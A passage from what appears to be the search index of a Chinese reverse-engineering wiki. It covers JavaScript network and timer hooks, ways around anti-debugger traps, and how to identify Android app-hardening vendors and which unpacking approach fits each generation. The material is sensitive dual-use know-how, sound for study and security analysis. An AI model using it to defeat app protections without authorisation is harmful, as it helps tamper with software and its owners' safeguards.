this._url = url; return open.apply(this, arguments); }; XHR.send = function (data) { console.log(\"XHR Request:\", { method: this._method, url: this._url, data: data, }); this.addEventListener(\"load\", function () { console.log(\"XHR Response:\", { status: this.status, response: this.responseText, }); }); return send.apply(this, arguments); }; })(); 3. Hook Fetch (function () { const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch Request:\", args); const response = await originalFetch.apply(this, args); // Clone 响应以避免消费 const clonedResponse = response.clone(); const text = await clonedResponse.text(); console.log(\"Fetch Response:\", { status: response.status, body: text, }); return response; }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-hook-xmlhttprequest"},{"categories":null,"collections":null,"content":"解决方案 1. XHR 断点 // DevTools → Sources → XHR/fetch Breakpoints // 添加 URL 包含的关键字，如 \"/api/\" 2. Hook XMLHttpRequest (function () { const XHR = XMLHttpRequest.prototype; const open = XHR.open; const send = XHR.send; XHR.open = function (method, url) { this._method = method; this._url = url; return open.apply(this, arguments); }; XHR.send = function (data) { console.log(\"XHR Request:\", { method: this._method, url: this._url, data: data, }); this.addEventListener(\"load\", function () { console.log(\"XHR Response:\", { status: this.status, response: this.responseText, }); }); return send.apply(this, arguments); }; })(); 3. Hook Fetch (function () { const originalFetch = window.fetch; window.fetch = async function (...args) { console.log(\"Fetch Request:\", args); const response = await originalFetch.apply(this, args); // Clone 响应以避免消费 const clonedResponse = response.clone(); const text = await clonedResponse.text(); console.log(\"Fetch Response:\", { status: response.status, body: text, }); return response; }; })(); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:6:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-hook-fetch"},{"categories":null,"collections":null,"content":"WebAssembly 调试 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#webassembly-调试"},{"categories":null,"collections":null,"content":"问题表现 WASM 代码难以理解 无法设置断点 变量查看困难 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-6"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 WASM Debug Info // 如果 WASM 包含调试信息 // Chrome DevTools 可以显示源码 // 查看 WASM 模块 WebAssembly.instantiate(bytes, imports).then((result) =\u003e { console.log(result.instance.exports); }); 2. 使用 wasmtime/wasmer 调试 # 使用 wasmtime 运行并调试 wasmtime --invoke main module.wasm # 使用 wasmer wasmer run module.wasm 3. Hook WASM 函数 // 获取 WASM 实例 const instance = wasmInstance; // Hook 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"WASM encrypt called:\", args); const result = originalFunc.apply(this, args); console.log(\"WASM encrypt result:\", result); return result; }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-6"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 WASM Debug Info // 如果 WASM 包含调试信息 // Chrome DevTools 可以显示源码 // 查看 WASM 模块 WebAssembly.instantiate(bytes, imports).then((result) =\u003e { console.log(result.instance.exports); }); 2. 使用 wasmtime/wasmer 调试 # 使用 wasmtime 运行并调试 wasmtime --invoke main module.wasm # 使用 wasmer wasmer run module.wasm 3. Hook WASM 函数 // 获取 WASM 实例 const instance = wasmInstance; // Hook 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"WASM encrypt called:\", args); const result = originalFunc.apply(this, args); console.log(\"WASM encrypt result:\", result); return result; }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-使用-wasm-debug-info"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 WASM Debug Info // 如果 WASM 包含调试信息 // Chrome DevTools 可以显示源码 // 查看 WASM 模块 WebAssembly.instantiate(bytes, imports).then((result) =\u003e { console.log(result.instance.exports); }); 2. 使用 wasmtime/wasmer 调试 # 使用 wasmtime 运行并调试 wasmtime --invoke main module.wasm # 使用 wasmer wasmer run module.wasm 3. Hook WASM 函数 // 获取 WASM 实例 const instance = wasmInstance; // Hook 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"WASM encrypt called:\", args); const result = originalFunc.apply(this, args); console.log(\"WASM encrypt result:\", result); return result; }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-使用-wasmtimewasmer-调试"},{"categories":null,"collections":null,"content":"解决方案 1. 使用 WASM Debug Info // 如果 WASM 包含调试信息 // Chrome DevTools 可以显示源码 // 查看 WASM 模块 WebAssembly.instantiate(bytes, imports).then((result) =\u003e { console.log(result.instance.exports); }); 2. 使用 wasmtime/wasmer 调试 # 使用 wasmtime 运行并调试 wasmtime --invoke main module.wasm # 使用 wasmer wasmer run module.wasm 3. Hook WASM 函数 // 获取 WASM 实例 const instance = wasmInstance; // Hook 导出函数 const originalFunc = instance.exports.encrypt; instance.exports.encrypt = function (...args) { console.log(\"WASM encrypt called:\", args); const result = originalFunc.apply(this, args); console.log(\"WASM encrypt result:\", result); return result; }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:7:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-hook-wasm-函数"},{"categories":null,"collections":null,"content":"时间相关问题 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:8:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#时间相关问题"},{"categories":null,"collections":null,"content":"问题表现 时间戳检测 超时失效 定时器问题 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:8:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-7"},{"categories":null,"collections":null,"content":"解决方案 1. Hook Date // 固定时间 const fixedTime = new Date(\"2024-01-01 00:00:00\").getTime(); const OriginalDate = Date; window.Date = function (...args) { if (args.length === 0) { return new OriginalDate(fixedTime); } return new OriginalDate(...args); }; Date.now = function () { return fixedTime; }; Date.prototype = OriginalDate.prototype; 2. Hook setTimeout/setInterval const originalSetTimeout = window.setTimeout; window.setTimeout = function (callback, delay, ...args) { console.log(`setTimeout called: ${delay}ms`); return originalSetTimeout(callback, delay, ...args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:8:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-7"},{"categories":null,"collections":null,"content":"解决方案 1. Hook Date // 固定时间 const fixedTime = new Date(\"2024-01-01 00:00:00\").getTime(); const OriginalDate = Date; window.Date = function (...args) { if (args.length === 0) { return new OriginalDate(fixedTime); } return new OriginalDate(...args); }; Date.now = function () { return fixedTime; }; Date.prototype = OriginalDate.prototype; 2. Hook setTimeout/setInterval const originalSetTimeout = window.setTimeout; window.setTimeout = function (callback, delay, ...args) { console.log(`setTimeout called: ${delay}ms`); return originalSetTimeout(callback, delay, ...args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:8:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-hook-date"},{"categories":null,"collections":null,"content":"解决方案 1. Hook Date // 固定时间 const fixedTime = new Date(\"2024-01-01 00:00:00\").getTime(); const OriginalDate = Date; window.Date = function (...args) { if (args.length === 0) { return new OriginalDate(fixedTime); } return new OriginalDate(...args); }; Date.now = function () { return fixedTime; }; Date.prototype = OriginalDate.prototype; 2. Hook setTimeout/setInterval const originalSetTimeout = window.setTimeout; window.setTimeout = function (callback, delay, ...args) { console.log(`setTimeout called: ${delay}ms`); return originalSetTimeout(callback, delay, ...args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:8:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-hook-settimeoutsetinterval"},{"categories":null,"collections":null,"content":"无限 debugger ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#无限-debugger"},{"categories":null,"collections":null,"content":"问题表现 // 反调试代码 setInterval(function () { debugger; }, 100); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#问题表现-8"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用断点 // Chrome DevTools: // 点击 \"Deactivate breakpoints\" 按钮 (Ctrl + F8) 2. 条件断点绕过 // 在 debugger 语句上右键 → \"Never pause here\" // 或添加条件断点 false; // 永远不暂停 3. 替换 debugger // 使用 Overrides 或 Requestly // 将代码中的 debugger 替换为空语句 // 或 Hook Function const _constructor = Function.prototype.constructor; Function.prototype.constructor = function (...args) { if (args.length \u003e 0 \u0026\u0026 /debugger/.test(args[args.length - 1])) { return function () {}; } return _constructor.apply(this, args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#解决方案-8"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用断点 // Chrome DevTools: // 点击 \"Deactivate breakpoints\" 按钮 (Ctrl + F8) 2. 条件断点绕过 // 在 debugger 语句上右键 → \"Never pause here\" // 或添加条件断点 false; // 永远不暂停 3. 替换 debugger // 使用 Overrides 或 Requestly // 将代码中的 debugger 替换为空语句 // 或 Hook Function const _constructor = Function.prototype.constructor; Function.prototype.constructor = function (...args) { if (args.length \u003e 0 \u0026\u0026 /debugger/.test(args[args.length - 1])) { return function () {}; } return _constructor.apply(this, args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-禁用断点"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用断点 // Chrome DevTools: // 点击 \"Deactivate breakpoints\" 按钮 (Ctrl + F8) 2. 条件断点绕过 // 在 debugger 语句上右键 → \"Never pause here\" // 或添加条件断点 false; // 永远不暂停 3. 替换 debugger // 使用 Overrides 或 Requestly // 将代码中的 debugger 替换为空语句 // 或 Hook Function const _constructor = Function.prototype.constructor; Function.prototype.constructor = function (...args) { if (args.length \u003e 0 \u0026\u0026 /debugger/.test(args[args.length - 1])) { return function () {}; } return _constructor.apply(this, args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-条件断点绕过"},{"categories":null,"collections":null,"content":"解决方案 1. 禁用断点 // Chrome DevTools: // 点击 \"Deactivate breakpoints\" 按钮 (Ctrl + F8) 2. 条件断点绕过 // 在 debugger 语句上右键 → \"Never pause here\" // 或添加条件断点 false; // 永远不暂停 3. 替换 debugger // 使用 Overrides 或 Requestly // 将代码中的 debugger 替换为空语句 // 或 Hook Function const _constructor = Function.prototype.constructor; Function.prototype.constructor = function (...args) { if (args.length \u003e 0 \u0026\u0026 /debugger/.test(args[args.length - 1])) { return function () {}; } return _constructor.apply(this, args); }; ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:9:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-替换-debugger"},{"categories":null,"collections":null,"content":"调试技巧总结 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:10:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#调试技巧总结"},{"categories":null,"collections":null,"content":"1. 快捷键 操作 Windows/Linux Mac 打开 DevTools F12 Cmd + Opt + I 打开控制台 Ctrl + Shift + J Cmd + Opt + J 下一步 F10 F10 进入函数 F11 F11 跳出函数 Shift + F11 Shift + F11 继续执行 F8 F8 禁用断点 Ctrl + F8 Cmd + F8 ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:10:1","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#1-快捷键"},{"categories":null,"collections":null,"content":"2. Console API // 分组日志 console.group(\"Group 1\"); console.log(\"message 1\"); console.log(\"message 2\"); console.groupEnd(); // 表格显示 console.table([ { name: \"a\", value: 1 }, { name: \"b\", value: 2 }, ]); // 计时 console.time(\"operation\"); // ... 操作 console.timeEnd(\"operation\"); // 计数 console.count(\"counter\"); // counter: 1 console.count(\"counter\"); // counter: 2 // 断言 console.assert(1 === 2, \"Should not happen\"); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:10:2","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#2-console-api"},{"categories":null,"collections":null,"content":"3. Performance 调试 // 性能标记 performance.mark(\"start\"); // ... 操作 performance.mark(\"end\"); performance.measure(\"operation\", \"start\", \"end\"); console.log(performance.getEntriesByType(\"measure\")); ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:10:3","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#3-performance-调试"},{"categories":null,"collections":null,"content":"相关章节 调试技巧 Hook 技巧 JavaScript 反混淆 浏览器 DevTools ","date":"2025-01-29","objectID":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/:11:0","tags":["Web","问题排查","WebAssembly","Hook","调试","反混淆"],"title":"JavaScript 调试问题","uri":"/reverse_engineering/web/10-troubleshooting/javascript_debugging/#相关章节"},{"categories":null,"collections":null,"content":"主流应用加固厂商及其特征识别 📚 前置知识 本配方涉及以下核心技术，建议先阅读相关章节： APK 结构解析 - 理解 DEX、SO、Manifest 等文件 Jadx 反编译指南 - 使用反编译工具查看代码特征 Android 应用加固是一种保护 App 不被轻易逆向、篡改或攻击的技术手段。对于逆向工程师而言，在开始分析一个 App 之前，首要任务就是识别出它所使用的加固厂商，因为不同的加固方案需要不同的脱壳和分析策略。 本指南旨在系统性地总结中国市场主流加固厂商的静态特征\"指纹\"，帮助分析人员快速识别目标。 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:0:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#主流应用加固厂商及其特征识别"},{"categories":null,"collections":null,"content":"通用识别思路 识别加固厂商通常遵循以下静态分析路径： 检查 DEX 文件：解压 APK，查看主 classes.dex 文件的大小。如果它非常小（通常小于 1MB），而 APK 本身体积很大，那么它很可能是一个\"壳\"，负责加载真正的、被加密隐藏起来的 DEX。 检查 SO 库：查看 lib/[arch]/ 目录下的 .so 文件列表。加固厂商通常会放入带有自身品牌标识的 SO 库，这是最明显的特征。 检查 assets 目录：很多加固方案会将加密后的 DEX 文件、配置文件或其他组件放入 assets 目录。 检查 AndroidManifest.xml：加固方案通常会用自己的代理 Application 类替换掉原始的 Application 类。检查 application 标签下的 android:name 属性，可以找到代理类的名字，其包名往往暴露厂商信息。 +------------------+ +------------------+ +------------------+ | 解压 APK | --\u003e | 检查 DEX 大小 | --\u003e | DEX \u003c 1MB? | | (unzip/apktool) | | ls -la *.dex | | 是 -\u003e 可能加固 | +------------------+ +------------------+ +------------------+ | | +--------\u003e 检查 lib/ SO 文件 -----\u003e 匹配厂商特征库 | | +--------\u003e 检查 assets 目录 -----\u003e 匹配加密文件特征 | | +--------\u003e 检查 Manifest -----\u003e 匹配 Application 类名 | APKiD 交叉验证 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:1:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#通用识别思路"},{"categories":null,"collections":null,"content":"主流厂商特征详解 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#主流厂商特征详解"},{"categories":null,"collections":null,"content":"梆梆安全 (Bangcle) SO 库特征: libSecShell.so、libsecexe.so、libsecmain.so、libDexHelper.so Java 层特征: 代理类 com.bangcle.protect 或 com.secshell.shell assets 目录特征: bangcle_classes.jar、secData0.jar ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#梆梆安全-bangcle"},{"categories":null,"collections":null,"content":"360 加固 (Qihoo 360) SO 库特征: libjiagu.so、libprotectClass.so、libjiagu_art.so Java 层特征: com.qihoo.util、com.stub.StubApp assets 目录特征: libjiagu.so（有时放在 assets 里）、.jiagu 后缀文件 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#360-加固-qihoo-360"},{"categories":null,"collections":null,"content":"腾讯乐固 (Tencent Legu) SO 库特征: liblegu.so、libshella-xxxx.so（xxxx 为版本号）、libshellx-xxxx.so Java 层特征: com.tencent.bugly.legu、com.tencent.StubShell.TxAppEntry assets 目录特征: legu_data.so、tosversion 其他: DEX 文件头被修改为 legu ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#腾讯乐固-tencent-legu"},{"categories":null,"collections":null,"content":"网易易盾 (Netease Yidun) SO 库特征: libnesec.so（最核心特征）、libnetease.so Java 层特征: com.netease.nis.wrapper.MyApplication assets 目录特征: nesec.dat、classes.dex.ys ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:4","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#网易易盾-netease-yidun"},{"categories":null,"collections":null,"content":"爱加密 (Ijiami) SO 库特征: libexec.so、libexecmain.so、libijiami.so Java 层特征: com.ijiami.client.protect assets 目录特征: ijiami.dat、ijm_lib 目录 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:5","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#爱加密-ijiami"},{"categories":null,"collections":null,"content":"娜迦 (Nagain / NAGA) SO 库特征: libchaosvmp.so、libnagavm.so、libddog.so Java 层特征: com.nagain.protect assets 目录特征: nagain.dat、classes.dex.dat ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:6","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#娜迦-nagain--naga"},{"categories":null,"collections":null,"content":"几维安全 (Kiwisec) SO 库特征: libkwscmm.so、libkwscr.so、libkwslinker.so Java 层特征: 包名含 com.kiwisec assets 目录特征: kiwi.dat ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:2:7","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#几维安全-kiwisec"},{"categories":null,"collections":null,"content":"加固厂商识别指纹总表 加固厂商 核心 SO 特征 Manifest Application 类 assets 特征 梆梆安全 libSecShell.so com.secshell.secData.ShellApplication bangcle_classes.jar 360 加固 libjiagu.so, libprotectClass.so com.stub.StubApp .jiagu 文件 腾讯乐固 liblegu.so, libshella-*.so com.tencent.StubShell.TxAppEntry legu_data.so 网易易盾 libnesec.so com.netease.nis.wrapper.MyApplication nesec.dat 爱加密 libexec.so, libijiami.so com.shell.NativeApplication ijiami.dat 娜迦 libchaosvmp.so, libddog.so com.nagain.NagainApplication nagain.dat 几维安全 libkwscmm.so 含 kiwi 关键字 kiwi.dat 顶象 libx3g.so, libdxbase.so 含 dingxiang 关键字 dx_res/ 通付盾 libegis.so 含 egis 关键字 egis.dat ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:3:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#加固厂商识别指纹总表"},{"categories":null,"collections":null,"content":"识别方法 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:4:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#识别方法"},{"categories":null,"collections":null,"content":"Manifest 检查 # 快速查看 Application 类名 aapt dump xmltree target.apk AndroidManifest.xml | grep \"android:name\" ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:4:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#manifest-检查"},{"categories":null,"collections":null,"content":"lib 目录分析 # 列出所有 SO 文件 unzip -l target.apk | grep \"\\.so$\" SO 文件名关键字 加固厂商 jiagu 360 legu / shella 腾讯乐固 SecShell / secexe 梆梆安全 nesec 网易易盾 ijiami 爱加密 chaosvmp / ddog 娜迦 kwscmm 几维安全 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:4:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#lib-目录分析"},{"categories":null,"collections":null,"content":"DEX 文件头检查 # 正常 DEX 头为 \"dex\\n035\"，被修改则说明加固 xxd classes.dex | head -1 # legu -\u003e 腾讯乐固 | 全零 -\u003e 梆梆/爱加密 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:4:3","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#dex-文件头检查"},{"categories":null,"collections":null,"content":"APKiD 自动识别 pip install apkid apkid target.apk # 基本扫描 apkid -j target.apk # JSON 输出 apkid -r ./apk_samples/ # 批量扫描 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:4:4","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#apkid-自动识别"},{"categories":null,"collections":null,"content":"各加固方案特征对比 特性 360 加固 腾讯乐固 梆梆安全 爱加密 网易易盾 娜迦 几维安全 DEX 加密 整体加密 整体加密 整体+抽取 整体加密 整体+VMP 整体+VMP 整体加密 DEX VMP 部分函数 部分函数 支持 支持 深度 VMP 深度 VMP 核心方案 SO 混淆 基础 基础 OLLVM 变种 OLLVM 深度定制 深度定制 VMP 虚拟化 Anti-Debug ptrace+时间 ptrace 多层检测 ptrace+信号 内核级 多层检测 多层检测 Anti-Hook GOT/PLT 检测 基础 Inline 检测 GOT 检测 全面检测 全面检测 VMP 保护 Anti-Frida 端口+进程 基础 maps+端口 端口检测 全面检测 maps+内存 maps+端口 保护强度 ★★★☆☆ ★★★☆☆ ★★★★☆ ★★★☆☆ ★★★★★ ★★★★☆ ★★★★☆ 脱壳难度 ★★☆☆☆ ★★☆☆☆ ★★★★☆ ★★★☆☆ ★★★★★ ★★★★☆ ★★★★☆ 注意：以上评级基于旗舰版产品，免费版保护强度通常低 1-2 级。 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:5:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#各加固方案特征对比"},{"categories":null,"collections":null,"content":"壳的分代 Android 加固技术经历了明显的代际演变： 第一代 (2013-2015) 第二代 (2015-2018) 第三代 (2018-至今) +-------------------+ +-------------------+ +-------------------+ | DEX 整体加密 | | DEX 函数抽取 | | 指令级 VMP | | - 运行时解密还原 | --\u003e | - 函数体替为 nop | --\u003e | - 字节码虚拟化 | | - 内存中完整 DEX | | - 运行时动态填回 | | - 自定义解释器 | +-------------------+ +-------------------+ +-------------------+ 脱壳: 内存 dump 脱壳: FART 主动调用 脱壳: 逆向虚拟机 难度: ★★☆☆☆ 难度: ★★★☆☆ 难度: ★★★★★ ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:6:0","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#壳的分代"},{"categories":null,"collections":null,"content":"第一代：DEX 整体加密 将 classes.dex 整体加密，运行时壳代码解密后用 DexClassLoader 加载。内存中存在完整 DEX，直接 dump 即可。 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:6:1","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第一代dex-整体加密"},{"categories":null,"collections":null,"content":"第二代：DEX 函数抽取 在 DEX 加密基础上，将关键函数的方法体抽取出来，替换为 nop。运行时动态填回。dump 出的 DEX 中关键函数体为空，需要用 FART 主动调用每个方法触发填回后再 dump。 ","date":"2025-01-22","objectID":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/:6:2","tags":["代理池","SSL Pinning","加密分析","脱壳","Android","Root检测"],"title":"主流应用加固厂商及其特征识别","uri":"/reverse_engineering/android/01-recipes/anti-detection/app_hardening_identification/#第二代dex-函数抽取"},{"categories":null,"collections":null,"content":"第三代：指令级 VMP 将字节码转换为自定义虚拟机指令，由壳自带的解释器执行。原始字节码在任何时刻都不以标准形式存在。需要逆向虚拟机解释器或转为动态分析策略。 代际辨别方法： 辨别维度 第一代 第二代 第三代 dump DEX 